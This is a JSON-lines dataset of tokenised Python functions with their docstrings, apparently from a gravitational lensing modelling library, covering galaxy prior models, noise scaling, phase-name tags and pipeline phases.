{"signature": "@property<EOL><INDENT>def constant_mass_profiles(self):<DEDENT>", "body": "return [value for value in self.__dict__.values() if galaxy.is_mass_profile(value)]<EOL>", "docstring": "Returns\n-------\nmass_profiles: [mass_profiles.MassProfile]\n    Mass profiles with set variables", "id": "f5963:c0:m3"}
{"signature": "@property<EOL><INDENT>def prior_models(self):<DEDENT>", "body": "return [value for _, value in<EOL>filter(lambda t: isinstance(t[<NUM_LIT:1>], pm.PriorModel), self.__dict__.items())]<EOL>", "docstring": "Returns\n-------\nprior_models: [model_mapper.PriorModel]\n    A list of the prior models (e.g. variable profiles) attached to this galaxy prior", "id": "f5963:c0:m4"}
{"signature": "@property<EOL><INDENT>def profile_prior_model_dict(self):<DEDENT>", "body": "return {key: value for key, value in<EOL>filter(lambda t: isinstance(t[<NUM_LIT:1>], pm.PriorModel) and is_profile_class(t[<NUM_LIT:1>].cls),<EOL>self.__dict__.items())}<EOL>", "docstring": "Returns\n-------\nprofile_prior_model_dict: {str: PriorModel}\n    A dictionary mapping_matrix instance variable names to variable profiles.", "id": "f5963:c0:m5"}
{"signature": "@property<EOL><INDENT>def constant_profile_dict(self):<DEDENT>", "body": "return {key: value for key, value in self.__dict__.items() if<EOL>galaxy.is_light_profile(value) or galaxy.is_mass_profile(value)}<EOL>", "docstring": "Returns\n-------\nconstant_profile_dict: {str: geometry_profiles.GeometryProfile}\n    A dictionary mapping_matrix instance variable names to profiles with set variables.", "id": "f5963:c0:m8"}
{"signature": "@property<EOL><INDENT>@cast_collection(PriorNameValue)<EOL>def prior_tuples(self):<DEDENT>", "body": "return [prior for prior_model in self.prior_models for prior in prior_model.prior_tuples]<EOL>", "docstring": "Returns\n-------\npriors: [PriorTuple]\n    A list of priors associated with prior models in this galaxy prior.", "id": "f5963:c0:m9"}
{"signature": "@property<EOL><INDENT>@cast_collection(ConstantNameValue)<EOL>def constant_tuples(self):<DEDENT>", "body": "return [constant for prior_model in self.prior_models for constant in prior_model.constant_tuples]<EOL>", "docstring": "Returns\n-------\nconstant: [ConstantTuple]\n    A list of constants associated with prior models in this galaxy prior.", "id": "f5963:c0:m10"}
{"signature": "@property<EOL><INDENT>def prior_class_dict(self):<DEDENT>", "body": "return {prior: cls for prior_model in self.prior_models for prior, cls in<EOL>prior_model.prior_class_dict.items()}<EOL>", "docstring": "Returns\n-------\nprior_class_dict: {Prior: class}\n    A dictionary mapping_matrix priors to the class associated with their prior model.", "id": "f5963:c0:m11"}
{"signature": "def instance_for_arguments(self, arguments):", "body": "profiles = {**{key: value.instance_for_arguments(arguments)<EOL>for key, value<EOL>in self.profile_prior_model_dict.items()}, **self.constant_profile_dict}<EOL>try:<EOL><INDENT>redshift = self.redshift.instance_for_arguments(arguments)<EOL><DEDENT>except AttributeError:<EOL><INDENT>redshift = self.redshift<EOL><DEDENT>pixelization = self.pixelization.instance_for_arguments(arguments)if isinstance(self.pixelization, pm.PriorModel)else self.pixelization<EOL>regularization = self.regularization.instance_for_arguments(arguments)if isinstance(self.regularization, pm.PriorModel)else self.regularization<EOL>hyper_galaxy = self.hyper_galaxy.instance_for_arguments(arguments)if isinstance(self.hyper_galaxy, pm.PriorModel)else self.hyper_galaxy<EOL>return galaxy.Galaxy(redshift=redshift, pixelization=pixelization, regularization=regularization,<EOL>hyper_galaxy=hyper_galaxy, **profiles)<EOL>", "docstring": "Create an instance of the associated class for a set of arguments\n\nParameters\n----------\narguments: {Prior: value}\n    Dictionary mapping_matrix priors to attribute analysis_path and value pairs\n\nReturns\n-------\n    An instance of the class", "id": "f5963:c0:m12"}
{"signature": "def gaussian_prior_model_for_arguments(self, arguments):", "body": "new_model = copy.deepcopy(self)<EOL>for key, value in filter(lambda t: isinstance(t[<NUM_LIT:1>], pm.PriorModel), self.__dict__.items()):<EOL><INDENT>setattr(new_model, key, value.gaussian_prior_model_for_arguments(arguments))<EOL><DEDENT>return new_model<EOL>", "docstring": "Create a new galaxy prior from a set of arguments, replacing the priors of some of this galaxy prior's prior\nmodels with new arguments.\n\nParameters\n----------\narguments: dict\n    A dictionary mapping_matrix between old priors and their replacements.\n\nReturns\n-------\nnew_model: GalaxyModel\n    A model with some or all priors replaced.", "id": "f5963:c0:m13"}
{"signature": "@classmethod<EOL><INDENT>def from_galaxy(cls, g, **kwargs):<DEDENT>", "body": "return GalaxyModel(**{**g.__dict__, **kwargs})<EOL>", "docstring": "Create a new galaxy prior with constants taken from a galaxy.\n\nParameters\n----------\ng: galaxy.Galaxy\n    A galaxy\nkwargs\n    Key word arguments to override GalaxyModel constructor arguments.", "id": "f5963:c0:m14"}
{"signature": "def __init__(self, background_sky_scale=<NUM_LIT:0.0>, background_noise_scale=<NUM_LIT:0.0>):", "body": "self.background_sky_scale = background_sky_scale<EOL>self.background_noise_scale = background_noise_scale<EOL>", "docstring": "Class for scaling the background sky map and background noise_map-map of an regular.\n\n        Parameters\n        -----------\n        background_sky_scale : float\n            The value by which the background scale is increased or decreased (electrons per second).\n        background_noise_scale : float\n            The factor by which the background noise_maps is increased.", "id": "f5965:c0:m0"}
{"signature": "def sky_scaled_hyper_image_from_image(self, image):", "body": "return image + self.background_sky_scale<EOL>", "docstring": "Compute a new regular with the background sky level scaled. This can simply multiple by a constant factor \\\n        (assuming a uniform background sky) because the regular is in units electrons per second.\n\n        Parameters\n        -----------\n        image : ndarray\n            The regular before scaling (electrons per second).", "id": "f5965:c0:m1"}
{"signature": "def hyper_noise_from_background_noise(self, noise, background_noise):", "body": "return noise + (self.background_noise_scale * background_noise)<EOL>", "docstring": "Compute a scaled noise_maps regular from the background noise_maps regular.\n\n        Parameters\n        -----------\n        noise : ndarray\n            The noise_maps before scaling (electrons per second).\n        background_noise : ndarray\n            The background noise_maps values (electrons per second).", "id": "f5965:c0:m2"}
{"signature": "def positions_threshold_tag_from_positions_threshold(positions_threshold):", "body": "if positions_threshold == None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'.format(positions_threshold)<EOL><DEDENT>", "docstring": "Generate a positions threshold tag, to customize phase names based on the threshold that positions are required \\\n    to trace within one another.\n\n    This changes the phase name 'phase_name' as follows:\n\n    positions_threshold = 1 -> phase_name\n    positions_threshold = 2 -> phase_name_positions_threshold_2\n    positions_threshold = 2 -> phase_name_positions_threshold_2", "id": "f5966:m1"}
{"signature": "def sub_grid_size_tag_from_sub_grid_size(sub_grid_size):", "body": "return '<STR_LIT>' + str(sub_grid_size)<EOL>", "docstring": "Generate a sub-grid tag, to customize phase names based on the sub-grid size used.\n\n    This changes the phase name 'phase_name' as follows:\n\n    sub_grid_size = None -> phase_name\n    sub_grid_size = 1 -> phase_name_sub_grid_size_2\n    sub_grid_size = 4 -> phase_name_sub_grid_size_4", "id": "f5966:m2"}
{"signature": "def inner_mask_radii_tag_from_inner_circular_mask_radii(inner_mask_radii):", "body": "if inner_mask_radii == None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'.format(inner_mask_radii)<EOL><DEDENT>", "docstring": "Generate an inner mask radii tag, to customize phase names based on the size of the circular masked area in the \\\n    centre of an image.\n\n    This changes the phase name 'phase_name' as follows:\n\n    inner_circular_mask_radii = 1 -> phase_name\n    inner_circular_mask_radii = 2 -> phase_name_inner_circular_mask_radii_2\n    inner_circular_mask_radii = 2 -> phase_name_inner_circular_mask_radii_2", "id": "f5966:m3"}
{"signature": "def image_psf_shape_tag_from_image_psf_shape(image_psf_shape):", "body": "if image_psf_shape is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>y = str(image_psf_shape[<NUM_LIT:0>])<EOL>x = str(image_psf_shape[<NUM_LIT:1>])<EOL>return ('<STR_LIT>' + y + '<STR_LIT:x>' + x)<EOL><DEDENT>", "docstring": "Generate an image psf shape tag, to customize phase names based on size of the image PSF that the original PSF \\\n    is trimmed to for faster run times.\n\n    This changes the phase name 'phase_name' as follows:\n\n    image_psf_shape = 1 -> phase_name\n    image_psf_shape = 2 -> phase_name_image_psf_shape_2\n    image_psf_shape = 2 -> phase_name_image_psf_shape_2", "id": "f5966:m4"}
{"signature": "def inversion_psf_shape_tag_from_inversion_psf_shape(inversion_psf_shape):", "body": "if inversion_psf_shape is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>y = str(inversion_psf_shape[<NUM_LIT:0>])<EOL>x = str(inversion_psf_shape[<NUM_LIT:1>])<EOL>return ('<STR_LIT>' + y + '<STR_LIT:x>' + x)<EOL><DEDENT>", "docstring": "Generate an inversion psf shape tag, to customize phase names based on size of the inversion PSF that the \\\n    original PSF is trimmed to for faster run times.\n\n    This changes the phase name 'phase_name' as follows:\n\n    inversion_psf_shape = 1 -> phase_name\n    inversion_psf_shape = 2 -> phase_name_inversion_psf_shape_2\n    inversion_psf_shape = 2 -> phase_name_inversion_psf_shape_2", "id": "f5966:m5"}
{"signature": "def bin_up_factor_tag_from_bin_up_factor(bin_up_factor):", "body": "if bin_up_factor == <NUM_LIT:1> or bin_up_factor is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>' + str(bin_up_factor)<EOL><DEDENT>", "docstring": "Generate a bin up tag, to customize phase names based on the resolutioon the image is binned up by for faster \\\n    run times.\n\n    This changes the phase name 'phase_name' as follows:\n\n    bin_up_factor = 1 -> phase_name\n    bin_up_factor = 2 -> phase_name_bin_up_factor_2\n    bin_up_factor = 2 -> phase_name_bin_up_factor_2", "id": "f5966:m6"}
{"signature": "def interp_pixel_scale_tag_from_interp_pixel_scale(interp_pixel_scale):", "body": "if interp_pixel_scale is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'.format(interp_pixel_scale)<EOL><DEDENT>", "docstring": "Generate an interpolation pixel scale tag, to customize phase names based on the resolution of the interpolation \\\n    grid that deflection angles are computed on before interpolating to the regular and sub grids.\n\n    This changes the phase name 'phase_name' as follows:\n\n    interp_pixel_scale = 1 -> phase_name\n    interp_pixel_scale = 2 -> phase_name_interp_pixel_scale_2\n    interp_pixel_scale = 2 -> phase_name_interp_pixel_scale_2", "id": "f5966:m7"}
{"signature": "def fix_lens_light_tag_from_fix_lens_light(fix_lens_light):", "body": "if not fix_lens_light:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif fix_lens_light:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Generate a tag for if the lens light of the pipeline and / or phase are fixed to a previous estimate, or varied \\\n     during he analysis, to customize phase names.\n\n    This changes the phase name 'phase_name' as follows:\n\n    fix_lens_light = False -> phase_name\n    fix_lens_light = True -> phase_name_fix_lens_light", "id": "f5966:m8"}
{"signature": "def align_bulge_disk_centre_tag_from_align_bulge_disk_centre(align_bulge_disk_centre):", "body": "if not align_bulge_disk_centre:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif align_bulge_disk_centre:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Generate a tag for if the bulge and disk of a bulge-disk system are aligned or not, to customize phase names \\\n    based on the bulge-disk model. This changee the phase name 'phase_name' as follows:\n\n    bd_align_centres = False -> phase_name\n    bd_align_centres = True -> phase_name_bd_align_centres", "id": "f5966:m9"}
{"signature": "def align_bulge_disk_axis_ratio_tag_from_align_bulge_disk_axis_ratio(align_bulge_disk_axis_ratio):", "body": "if not align_bulge_disk_axis_ratio:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif align_bulge_disk_axis_ratio:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Generate a tag for if the bulge and disk of a bulge-disk system are aligned or not, to customize phase names \\\n    based on the bulge-disk model. This changes the phase name 'phase_name' as follows:\n\n    bd_align_axis_ratio = False -> phase_name\n    bd_align_axis_ratio = True -> phase_name_bd_align_axis_ratio", "id": "f5966:m10"}
{"signature": "def align_bulge_disk_phi_tag_from_align_bulge_disk_phi(align_bulge_disk_phi):", "body": "if not align_bulge_disk_phi:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif align_bulge_disk_phi:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Generate a tag for if the bulge and disk of a bulge-disk system are aligned or not, to customize phase names \\\n    based on the bulge-disk model. This changes the phase name 'phase_name' as follows:\n\n    bd_align_phi = False -> phase_name\n    bd_align_phi = True -> phase_name_bd_align_phi", "id": "f5966:m11"}
{"signature": "def bulge_disk_tag_from_align_bulge_disks(align_bulge_disk_centre, align_bulge_disk_axis_ratio, align_bulge_disk_phi):", "body": "align_bulge_disk_centre_tag = align_bulge_disk_centre_tag_from_align_bulge_disk_centre(<EOL>align_bulge_disk_centre=align_bulge_disk_centre)<EOL>align_bulge_disk_axis_ratio_tag = align_bulge_disk_axis_ratio_tag_from_align_bulge_disk_axis_ratio(<EOL>align_bulge_disk_axis_ratio=align_bulge_disk_axis_ratio)<EOL>align_bulge_disk_phi_tag = align_bulge_disk_phi_tag_from_align_bulge_disk_phi(<EOL>align_bulge_disk_phi=align_bulge_disk_phi)<EOL>return align_bulge_disk_centre_tag + align_bulge_disk_axis_ratio_tag + align_bulge_disk_phi_tag<EOL>", "docstring": "Generate a tag for the alignment of the geometry of the bulge and disk of a bulge-disk system, to customize \\ \n    phase names based on the bulge-disk model. This adds together the bulge_disk tags generated in the 3 functions\n    above", "id": "f5966:m12"}
{"signature": "def set_defaults(key):", "body": "def decorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def wrapper(phase, new_value):<EOL><INDENT>new_value = new_value or []<EOL>for item in new_value:<EOL><INDENT>galaxy = new_value[item] if isinstance(item, str) else item<EOL>galaxy.redshift = galaxy.redshift or conf.instance.general.get(\"<STR_LIT>\", key, float)<EOL><DEDENT>return func(phase, new_value)<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Load a default value for redshift from config and set it as the redshift for source or lens galaxies that have\nfalsey redshifts\n\nParameters\n----------\nkey: str\n\nReturns\n-------\ndecorator\n    A decorator that wraps the setter function to set defaults", "id": "f5967:m2"}
{"signature": "def __init__(self, phase_name, phase_tag=None, phase_folders=None, tag_phases=True,<EOL>optimizer_class=non_linear.MultiNest,<EOL>cosmology=cosmo.Planck15, auto_link_priors=False):", "body": "super().__init__(phase_name=phase_name, phase_tag=phase_tag, phase_folders=phase_folders, tag_phases=tag_phases,<EOL>optimizer_class=optimizer_class, auto_link_priors=auto_link_priors)<EOL>self.cosmology = cosmology<EOL>", "docstring": "A phase in an lens pipeline. Uses the set non_linear optimizer to try to fit models and hyper\npassed to it.\n\nParameters\n----------\noptimizer_class: class\n    The class of a non_linear optimizer\nphase_name: str\n    The name of this phase", "id": "f5967:c0:m0"}
{"signature": "@property<EOL><INDENT>def constant(self):<DEDENT>", "body": "return self.optimizer.variable<EOL>", "docstring": "Convenience method\n\nReturns\n-------\nModelInstance\n    A model instance comprising all the constant objects in this lens", "id": "f5967:c0:m1"}
{"signature": "@property<EOL><INDENT>def variable(self):<DEDENT>", "body": "return self.optimizer.variable<EOL>", "docstring": "Convenience method\n\nReturns\n-------\nModelMapper\n    A model mapper comprising all the variable (prior) objects in this lens", "id": "f5967:c0:m2"}
{"signature": "@property<EOL><INDENT>def phase_property_collections(self):<DEDENT>", "body": "return []<EOL>", "docstring": "Returns\n-------\nphase_property_collections: [PhaseProperty]\n    A list of phase property collections associated with this phase. This is used in automated prior passing and\n    should be overridden for any phase that contains its own PhasePropertys.", "id": "f5967:c0:m3"}
{"signature": "def pass_priors(self, results):", "body": "pass<EOL>", "docstring": "Perform any prior or constant passing. This could involve setting model attributes equal to priors or constants\nfrom a previous phase.\n\nParameters\n----------\nresults: autofit.tools.pipeline.ResultsCollection\n    The result of the previous phase", "id": "f5967:c0:m6"}
{"signature": "def run(self, positions, pixel_scale, results=None):", "body": "analysis = self.make_analysis(positions=positions, pixel_scale=pixel_scale, results=results)<EOL>result = self.run_analysis(analysis)<EOL>return self.make_result(result, analysis)<EOL>", "docstring": "Run this phase.\n\nParameters\n----------\npixel_scale\npositions\nresults: autofit.tools.pipeline.ResultsCollection\n    An object describing the results of the last phase or None if no phase has been executed\n\nReturns\n-------\nresult: AbstractPhase.Result\n    A result object comprising the best fit model and other hyper.", "id": "f5967:c2:m2"}
{"signature": "def make_analysis(self, positions, pixel_scale, results=None):", "body": "self.pass_priors(results)<EOL>analysis = self.__class__.Analysis(positions=positions, pixel_scale=pixel_scale, cosmology=self.cosmology,<EOL>results=results)<EOL>return analysis<EOL>", "docstring": "Create an lens object. Also calls the prior passing and lens_data modifying functions to allow child\nclasses to change the behaviour of the phase.\n\nParameters\n----------\npixel_scale\npositions\nresults: autofit.tools.pipeline.ResultsCollection\n    The result from the previous phase\n\nReturns\n-------\nlens: Analysis\n    An lens object that the non-linear optimizer calls to determine the fit of a set of values", "id": "f5967:c2:m3"}
{"signature": "def __init__(self, phase_name, tag_phases=True, phase_folders=None, optimizer_class=non_linear.MultiNest,<EOL>sub_grid_size=<NUM_LIT:2>, bin_up_factor=None, image_psf_shape=None,<EOL>inversion_psf_shape=None, positions_threshold=None, mask_function=None, inner_mask_radii=None,<EOL>interp_pixel_scale=None, cosmology=cosmo.Planck15, auto_link_priors=False):", "body": "if tag_phases:<EOL><INDENT>phase_tag = tag.phase_tag_from_phase_settings(sub_grid_size=sub_grid_size,<EOL>bin_up_factor=bin_up_factor,<EOL>image_psf_shape=image_psf_shape,<EOL>inversion_psf_shape=inversion_psf_shape,<EOL>positions_threshold=positions_threshold,<EOL>inner_mask_radii=inner_mask_radii,<EOL>interp_pixel_scale=interp_pixel_scale)<EOL><DEDENT>else:<EOL><INDENT>phase_tag = None<EOL><DEDENT>super(PhaseImaging, self).__init__(phase_name=phase_name, phase_tag=phase_tag, phase_folders=phase_folders,<EOL>tag_phases=tag_phases,<EOL>optimizer_class=optimizer_class, cosmology=cosmology,<EOL>auto_link_priors=auto_link_priors)<EOL>self.sub_grid_size = sub_grid_size<EOL>self.bin_up_factor = bin_up_factor<EOL>self.image_psf_shape = image_psf_shape<EOL>self.inversion_psf_shape = inversion_psf_shape<EOL>self.positions_threshold = positions_threshold<EOL>self.mask_function = mask_function<EOL>self.inner_mask_radii = inner_mask_radii<EOL>self.interp_pixel_scale = interp_pixel_scale<EOL>", "docstring": "A phase in an lens pipeline. Uses the set non_linear optimizer to try to fit models and hyper\npassed to it.\n\nParameters\n----------\noptimizer_class: class\n    The class of a non_linear optimizer\nsub_grid_size: int\n    The side length of the subgrid", "id": "f5967:c3:m0"}
{"signature": "def modify_image(self, image, results):", "body": "return image<EOL>", "docstring": "Customize an lens_data. e.g. removing lens light.\n\nParameters\n----------\nimage: scaled_array.ScaledSquarePixelArray\n    An lens_data that has been masked\nresults: autofit.tools.pipeline.ResultsCollection\n    The result of the previous lens\n\nReturns\n-------\nlens_data: scaled_array.ScaledSquarePixelArray\n    The modified image (not changed by default)", "id": "f5967:c3:m1"}
{"signature": "def run(self, data, results=None, mask=None, positions=None):", "body": "analysis = self.make_analysis(data=data, results=results, mask=mask, positions=positions)<EOL>result = self.run_analysis(analysis)<EOL>return self.make_result(result, analysis)<EOL>", "docstring": "Run this phase.\n\nParameters\n----------\npositions\nmask: Mask\n    The default masks passed in by the pipeline\nresults: autofit.tools.pipeline.ResultsCollection\n    An object describing the results of the last phase or None if no phase has been executed\ndata: scaled_array.ScaledSquarePixelArray\n    An lens_data that has been masked\n\nReturns\n-------\nresult: AbstractPhase.Result\n    A result object comprising the best fit model and other hyper.", "id": "f5967:c3:m2"}
{"signature": "def make_analysis(self, data, results=None, mask=None, positions=None):", "body": "mask = setup_phase_mask(data=data, mask=mask, mask_function=self.mask_function,<EOL>inner_mask_radii=self.inner_mask_radii)<EOL>if self.positions_threshold is not None and positions is not None:<EOL><INDENT>positions = list(map(lambda position_set: np.asarray(position_set), positions))<EOL><DEDENT>elif self.positions_threshold is None:<EOL><INDENT>positions = None<EOL><DEDENT>elif self.positions_threshold is not None and positions is None:<EOL><INDENT>raise exc.PhaseException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>lens_data = li.LensData(ccd_data=data, mask=mask, sub_grid_size=self.sub_grid_size,<EOL>image_psf_shape=self.image_psf_shape, positions=positions,<EOL>interp_pixel_scale=self.interp_pixel_scale)<EOL>modified_image = self.modify_image(image=lens_data.image, results=results)<EOL>lens_data = lens_data.new_lens_data_with_modified_image(modified_image=modified_image)<EOL>if self.bin_up_factor is not None:<EOL><INDENT>lens_data = lens_data.new_lens_data_with_binned_up_ccd_data_and_mask(bin_up_factor=self.bin_up_factor)<EOL><DEDENT>self.pass_priors(results)<EOL>self.output_phase_info()<EOL>analysis = self.__class__.Analysis(lens_data=lens_data, cosmology=self.cosmology,<EOL>positions_threshold=self.positions_threshold, results=results)<EOL>return analysis<EOL>", "docstring": "Create an lens object. Also calls the prior passing and lens_data modifying functions to allow child\nclasses to change the behaviour of the phase.\n\nParameters\n----------\npositions\nmask: Mask\n    The default masks passed in by the pipeline\ndata: im.CCD\n    An lens_data that has been masked\nresults: autofit.tools.pipeline.ResultsCollection\n    The result from the previous phase\n\nReturns\n-------\nlens : Analysis\n    An lens object that the non-linear optimizer calls to determine the fit of a set of values", "id": "f5967:c3:m3"}
{"signature": "def __init__(self, phase_name, tag_phases=True, phase_folders=None,<EOL>lens_galaxies=None, source_galaxies=None, optimizer_class=non_linear.MultiNest,<EOL>sub_grid_size=<NUM_LIT:2>, bin_up_factor=None, image_psf_shape=None, positions_threshold=None,<EOL>mask_function=None,<EOL>interp_pixel_scale=None, inner_mask_radii=None, cosmology=cosmo.Planck15,<EOL>auto_link_priors=False):", "body": "super(LensSourcePlanePhase, self).__init__(phase_name=phase_name,<EOL>tag_phases=tag_phases,<EOL>phase_folders=phase_folders,<EOL>optimizer_class=optimizer_class,<EOL>sub_grid_size=sub_grid_size,<EOL>bin_up_factor=bin_up_factor,<EOL>image_psf_shape=image_psf_shape,<EOL>positions_threshold=positions_threshold,<EOL>mask_function=mask_function,<EOL>interp_pixel_scale=interp_pixel_scale,<EOL>inner_mask_radii=inner_mask_radii,<EOL>cosmology=cosmology,<EOL>auto_link_priors=auto_link_priors)<EOL>self.lens_galaxies = lens_galaxies or []<EOL>self.source_galaxies = source_galaxies or []<EOL>", "docstring": "A phase with a simple source/lens model\n\nParameters\n----------\nlens_galaxies : [g.Galaxy] | [gm.GalaxyModel]\n    A galaxy that acts as a gravitational lens\nsource_galaxies: [g.Galaxy] | [gm.GalaxyModel]\n    A galaxy that is being lensed\noptimizer_class: class\n    The class of a non-linear optimizer\nsub_grid_size: int\n    The side length of the subgrid", "id": "f5967:c5:m5"}
{"signature": "def __init__(self, phase_name, tag_phases=True, phase_folders=None, galaxies=None,<EOL>optimizer_class=non_linear.MultiNest,<EOL>sub_grid_size=<NUM_LIT:2>, bin_up_factor=None, image_psf_shape=None, positions_threshold=None,<EOL>mask_function=None,<EOL>inner_mask_radii=None, cosmology=cosmo.Planck15, auto_link_priors=False):", "body": "super(MultiPlanePhase, self).__init__(phase_name=phase_name,<EOL>tag_phases=tag_phases,<EOL>phase_folders=phase_folders,<EOL>optimizer_class=optimizer_class,<EOL>sub_grid_size=sub_grid_size,<EOL>bin_up_factor=bin_up_factor,<EOL>image_psf_shape=image_psf_shape,<EOL>positions_threshold=positions_threshold,<EOL>mask_function=mask_function,<EOL>inner_mask_radii=inner_mask_radii,<EOL>cosmology=cosmology,<EOL>auto_link_priors=auto_link_priors)<EOL>self.galaxies = galaxies<EOL>", "docstring": "A phase with a simple source/lens model\n\nParameters\n----------\ngalaxies : [g.Galaxy] | [gm.GalaxyModel]\n    A galaxy that acts as a gravitational lens or is being lensed\noptimizer_class: class\n    The class of a non-linear optimizer\nsub_grid_size: int\n    The side length of the subgrid", "id": "f5967:c6:m1"}
{"signature": "def __init__(self, phase_name, phase_tagging=True, phase_folders=None, galaxies=None, use_intensities=False,<EOL>use_convergence=False,<EOL>use_potential=False,<EOL>use_deflections=False, optimizer_class=non_linear.MultiNest, sub_grid_size=<NUM_LIT:2>,<EOL>mask_function=None, cosmology=cosmo.Planck15):", "body": "super(GalaxyFitPhase, self).__init__(phase_name=phase_name, phase_tagging=phase_tagging,<EOL>phase_folders=phase_folders,<EOL>optimizer_class=optimizer_class, cosmology=cosmology)<EOL>self.use_intensities = use_intensities<EOL>self.use_convergence = use_convergence<EOL>self.use_potential = use_potential<EOL>self.use_deflections = use_deflections<EOL>self.galaxies = galaxies<EOL>self.sub_grid_size = sub_grid_size<EOL>self.mask_function = mask_function<EOL>", "docstring": "A phase in an lens pipeline. Uses the set non_linear optimizer to try to fit models and hyper\npassed to it.\n\nParameters\n----------\noptimizer_class: class\n    The class of a non_linear optimizer\nsub_grid_size: int\n    The side length of the subgrid", "id": "f5967:c7:m0"}
{"signature": "def run(self, galaxy_data, results=None, mask=None):", "body": "analysis = self.make_analysis(galaxy_data=galaxy_data, results=results, mask=mask)<EOL>result = self.run_analysis(analysis)<EOL>return self.make_result(result, analysis)<EOL>", "docstring": "Run this phase.\n\nParameters\n----------\ngalaxy_data\nmask: Mask\n    The default masks passed in by the pipeline\nresults: autofit.tools.pipeline.ResultsCollection\n    An object describing the results of the last phase or None if no phase has been executed\n\nReturns\n-------\nresult: AbstractPhase.Result\n    A result object comprising the best fit model and other hyper.", "id": "f5967:c7:m1"}
{"signature": "def make_analysis(self, galaxy_data, results=None, mask=None):", "body": "mask = setup_phase_mask(data=galaxy_data[<NUM_LIT:0>], mask=mask, mask_function=self.mask_function,<EOL>inner_mask_radii=None)<EOL>self.pass_priors(results)<EOL>if self.use_intensities or self.use_convergence or self.use_potential:<EOL><INDENT>galaxy_data = gd.GalaxyFitData(galaxy_data=galaxy_data[<NUM_LIT:0>], mask=mask, sub_grid_size=self.sub_grid_size,<EOL>use_intensities=self.use_intensities,<EOL>use_convergence=self.use_convergence,<EOL>use_potential=self.use_potential,<EOL>use_deflections_y=self.use_deflections,<EOL>use_deflections_x=self.use_deflections)<EOL>return self.__class__.AnalysisSingle(galaxy_data=galaxy_data,<EOL>cosmology=self.cosmology,<EOL>results=results)<EOL><DEDENT>elif self.use_deflections:<EOL><INDENT>galaxy_data_y = gd.GalaxyFitData(galaxy_data=galaxy_data[<NUM_LIT:0>], mask=mask, sub_grid_size=self.sub_grid_size,<EOL>use_intensities=self.use_intensities,<EOL>use_convergence=self.use_convergence,<EOL>use_potential=self.use_potential,<EOL>use_deflections_y=self.use_deflections, use_deflections_x=False)<EOL>galaxy_data_x = gd.GalaxyFitData(galaxy_data=galaxy_data[<NUM_LIT:1>], mask=mask, sub_grid_size=self.sub_grid_size,<EOL>use_intensities=self.use_intensities,<EOL>use_convergence=self.use_convergence,<EOL>use_potential=self.use_potential,<EOL>use_deflections_y=False, use_deflections_x=self.use_deflections)<EOL>return self.__class__.AnalysisDeflections(galaxy_data_y=galaxy_data_y, galaxy_data_x=galaxy_data_x,<EOL>cosmology=self.cosmology,<EOL>results=results)<EOL><DEDENT>", "docstring": "Create an lens object. Also calls the prior passing and lens_data modifying functions to allow child\nclasses to change the behaviour of the phase.\n\nParameters\n----------\ngalaxy_data\nmask: Mask\n    The default masks passed in by the pipeline\nresults: autofit.tools.pipeline.ResultsCollection\n    The result from the previous phase\n\nReturns\n-------\nlens: Analysis\n    An lens object that the non-linear optimizer calls to determine the fit of a set of values", "id": "f5967:c7:m2"}
{"signature": "def __init__(self, phase_name, tag_phases=None, phase_folders=None, lens_galaxies=None, source_galaxies=None,<EOL>sensitive_galaxies=None,<EOL>optimizer_class=non_linear.MultiNest, sub_grid_size=<NUM_LIT:2>, bin_up_factor=None, mask_function=None,<EOL>cosmology=cosmo.Planck15):", "body": "super(SensitivityPhase, self).__init__(phase_name=phase_name, tag_phases=tag_phases,<EOL>phase_folders=phase_folders,<EOL>optimizer_class=optimizer_class, sub_grid_size=sub_grid_size,<EOL>bin_up_factor=bin_up_factor, mask_function=mask_function,<EOL>cosmology=cosmology)<EOL>self.lens_galaxies = lens_galaxies or []<EOL>self.source_galaxies = source_galaxies or []<EOL>self.sensitive_galaxies = sensitive_galaxies or []<EOL>", "docstring": "A phase in an lens pipeline. Uses the set non_linear optimizer to try to fit models and hyper\npassed to it.\n\nParameters\n----------\noptimizer_class: class\n    The class of a non_linear optimizer\nsub_grid_size: int\n    The side length of the subgrid", "id": "f5967:c8:m0"}
{"signature": "def run(self, data, results=None, mask=None, positions=None):", "body": "model_image = results.last.unmasked_model_image<EOL>galaxy_tuples = results.last.constant.name_instance_tuples_for_class(g.Galaxy)<EOL>results_copy = copy.copy(results.last)<EOL>for name, galaxy in galaxy_tuples:<EOL><INDENT>optimizer = self.optimizer.copy_with_name_extension(name)<EOL>optimizer.variable.hyper_galaxy = g.HyperGalaxy<EOL>galaxy_image = results.last.unmasked_image_for_galaxy(galaxy)<EOL>optimizer.fit(self.__class__.Analysis(data, model_image, galaxy_image))<EOL>getattr(results_copy.variable, name).hyper_galaxy = optimizer.variable.hyper_galaxy<EOL>getattr(results_copy.constant, name).hyper_galaxy = optimizer.constant.hyper_galaxy<EOL><DEDENT>return results_copy<EOL>", "docstring": "Run a fit for each galaxy from the previous phase.\n\nParameters\n----------\ndata: LensData\nresults: ResultsCollection\n    Results from all previous phases\nmask: Mask\n    The mask\npositions\n\nReturns\n-------\nresults: HyperGalaxyResults\n    A collection of results, with one item per a galaxy", "id": "f5967:c9:m0"}
